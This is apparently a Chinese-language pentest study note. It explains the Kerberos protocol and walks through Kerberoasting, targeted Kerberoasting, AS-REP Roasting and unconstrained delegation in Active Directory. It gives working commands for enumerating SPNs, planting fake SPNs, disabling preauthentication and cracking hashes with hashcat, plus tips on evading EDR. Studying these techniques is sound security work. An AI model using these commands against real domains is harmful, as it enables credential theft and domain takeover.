Kerberos协议
在Kerberos协议中主要是有三个角色:
- 访问服务的客户端 Client
- 提供服务的服务端 Server #而Client和Server分别是域内的客户和服务
- 密钥分发中心KDC(Kerberos协议的核心组成) #KDC 服务会默认安装在域控中
KDC中分成两个部分:
- 身份验证服务AS:验证Client的身份,验证通过之后,AS就会发放TGT票据给Client。
- 票据授予服务TGS:当Client获取的TGT票据后,TGS会给Clinet换取访问Server端的ST服务票据。
Client和AS(Authentication Service)交互
step1: client向KDC的AS认证服务请求TGT票据
**step2:**客户端通过AS认证后,KDC会给client发放TGT票据
Client 与 TGS 的交互
**step3:**client带上TGT票据,向TGS服务请求ST服务票据
**step4:**client通过TGS认证后,TGS将会给客户端发放ST服务票据
Client 与 Server 的交互
**step5:**client使用ST服务票据向appliacation server请求服务
**step6:**PAC校验,服务端拿到PAC询问KDC客户端是否有权限,KDC将客户端的权限信息返回给服务端,判断客户端是否有权限访问该服务,并把结果返回给客户端
流程图:
关键名词
1 | DC 域控制器 Domain Controller |

kerberoasting攻击
SPN(service principal name)服务主体名称
Windows域环境中用于标识服务或应用程序的唯一标识符,kerberos认证使用SPN来关联服务和运行的应用程序
格式

kerberoasting攻击
Kerberoasting的前提:服务SPN必须注册在域用户账户下,因为机器账户的密码是随机生成的,基本爆破不了
1 | 服务票据会使用服务账户的哈希进行加密,这样一来,Windows域中任何经过身份验证的用户都可以从 TGS 处请求 ST 服务票据。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码 |

客户端请求一个服务票据并离线破解服务账户的密码hash

攻击步骤
枚举SPN
SetSPN
1 | setspn -Q */* # 查看当前域内所有的 SPNsetspn -T whoamianony.org -Q */* # 查看指定域 whoamianony.org 注册的SPN, 如果指定域不存在, 则默认切换到查找本域的 SPNsetspn -L <username>/<hostname> # 查找指定用户/主机名注册的 SPN |
使用 GetUserSPNs.ps1 脚本
•项目地址:https://github.com/nidem/kerberoast.git
1 | Import-Module .\GetUserSPNs.ps1 |
使用 PowerView.ps1 脚本
•项目地址:https://github.com/PowerShellMafia/PowerSploit/
1 | Import-Module .\PowerView.ps1Get-NetUser -SPN |
导出票据获取hash:
mimikatz可以导出票据 或者使用rebeus可以直接拿到票据里的hash(前提都是你可以RDPWindows桌面这样 这两工具方便点
如果只有ip用户密码 那可以使用targetedKerberoast或者impacket-GetUserSPNs 模块
爆破hash:
最后拿到的hash使用hachcat或者john爆破就行
这样我们就可以拿到指定用户的密码
1 | hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt |
Targeted kerberoasting
1 | 如果发现对某个AD用户有GeneriteWrite或GeneriteAll权限,则可以给账户设置一个SPN,然后kerberoast用户账户,破解密码hash。 |
攻击步骤
枚举ACL
寻找拥有对其有GeneriteWrite或GeneriteAll权限的用户
使用Find-InterestingDomainAcl(powershell)
1 | Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -match "rto"} |
或者bloodhound探测域内环境也可以看到
设置SPN
本地
windows原生工具
1 | setspn -S "service/target-hostname" TargetUser |
PowerView 脚本
1 | Set-DomainObject -Identity "TargetUser" -Set @{serviceprincipalname="HTTP/fake.service.com"} |
远程连接
impacket
1 | impacket-addspn -u 'domain.local\YourUser' -p 'YourPass' -dc-ip 10.10.10.10 -additional "MSSQLSvc/target-user.domain.local:1433" "TargetUser" |
bloodyAD
1 | bloodyAD --host 10.10.10.10 -u "YourUser" -p "YourPass" add spn "TargetUser" "CIFS/fake.service.com" |
删除SPN
AS-REP Roasting
kerberos preauthentication (kerbers 预认证)
step1:客户端像PDC发送一个AS-REQ 包含用户密码衍生的hash加密的时间戳以及用户名
step2:域控收到请求,查找和用户名关联的密码hash,并尝试解密时间戳。如果解密成功并且时间戳没有重复,则认证成功,向客户端返回AS-REP,AS-REP包含用户密码hash加密的session-key和TGT。
AS-REP Roasting
当某个账户没有启用kerberos preauthentication的时候,攻击者可以指定用户向域控制器(KDC)请求一个AS-REQ请求,KDC此时不会做任何验证就会给攻击者返回TGT和使用用户密码hash加密的session key,如果这时我们就可以对目标用户的密码hash进行离线爆破。
攻击步骤
枚举用户
powershell脚本
1 | Get-DomainUser -PreauthNotRequired |
Impacket工具
1 | impacket-GetNPUsers -dc-ip <ip> <syn> |
获取hash
当前主机在域内
rebueus or poweshell脚本 asreproast.ps1
1 | Import-Module .\ASREPRoast.ps1 |
1 | Rubeus.exe asreproast |
非域内机器
1:对于非域内的机器,无法通过LDAP来发起用户名的查询。
2:所以要想获取 “不需要kerberos预身份验证” 的域内账号,只能通过枚举用户名的方式来获得。而AS-REP Hash方面。非域内的主机,只要能和DC通信,便可以获取到。使用Get-ASREPHash,通过指定Server的参数即可
1 | Import-Module .\ASREPRoast.ps1 |
爆破hash
1 | hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt |
Targeted AS-REP Roasting
1 | AS-REP Roasting如果枚举发现目标账户里没有账户启用了不要求kerberos预认证,这时AS-REP Roasting用不了。但如果发现对某个AD用户有GeneriteWrite或GeneriteAll权限,我们可以使用这些权限修改目标账户的ACCount Control option 启用Do not require Keberos presauthenication,这样就可以执行AS-REP Roasting |
攻击步骤
枚举ACL
寻找拥有对其有GeneriteWrite或GeneriteAll权限的用户
使用Find-InterestingDomainAcl(powershell)
1 | Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -match "rto"} |
或者bloodhound探测域内环境也可以看到
启用”Do not require Keberos presauthenication”
1 | Set-DomainObject -Identity "TargetUser" -XOR @{useraccountcontrol=4194304} -Verbose |
后面步骤就是AS-REP Roasting的步骤 略
Targeted kerberoasting VS Targeted AS-REP Roasting
| 维度 | Targeted Kerberoasting | Targeted AS-REP Roasting |
|---|---|---|
| 核心操作 | 为目标用户添加一个伪造的 SPN (Service Principal Name)。 | 修改 userAccountControl (UAC) 属性,设置 DONT_REQUIRE_PREAUTH 标志位。 |
| 利用方式 | 请求 TGS 票据并离线破解 Hash。 | 请求 AS-REP 响应并离线破解 Hash。 |
| 关键属性 | servicePrincipalName |
userAccountControl |
| 权限要求 | GenericAll, GenericWrite, 或对 servicePrincipalName 有 WriteProperty。 |
GenericAll, GenericWrite, 或对 userAccountControl 有 WriteProperty。 |
默认首选:Targeted Kerberoasting。因为它在攻击链中更隐蔽,且对域环境的侵入性相对较小。
备选方案:Targeted AS-REP Roasting。仅当你发现无法为该用户设置 SPN(例如 SPN 冲突)或者由于某些 EDR 规则对 TGS 请求监控极严,而对 AS-REQ 监控较松时使用。

Kerberos Delegation
1 | 委派(Delegation) 是一种允许服务代表用户去访问其他资源的功能。攻击者一旦滥用这些机制,往往可以实现权限提升或横向移动 |
委派相关的攻击全都存在Kerberos协议认证的step 4
非约束委派-Unconstrained delegation
1 | 用户A去访问服务B,服务B的服务账户开启了非约束委派,那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存,服务B能够利用用户A的身份去访问用户A能够访问的任意服务 |
当一个计算机或账号被设置为“非约束委派”时,任何域用户访问该服务,其 TGT(Ticket Granting Ticket,认购权证) 都会被发送到该服务器的内存中。
- 正常流程:用户 A访问服务器 B,KDC 将 A的 TGT 副本打包在服务票据(TGS)中发给 B。
- 委派行为:服务器 B 收到票据后,将用户 A的 TGT 解析出来并存储在自己的
LSASS进程中。 - 结果:服务器 B 现在拥有了用户 A 的“身份证”完整副本,可以在 TGT 有效期内,代表用户 A访问域内的任何资源。
因此如果我们的可控主机B是域内非约束委派的主机,当域控或者其他主机通过kerberos协议访问我们的机器的时候,就会在内存留下TGT票据,我们可以通过TGT票据来访问该主机可以访问的任意服务。
以上我们就可以直接获取域控权限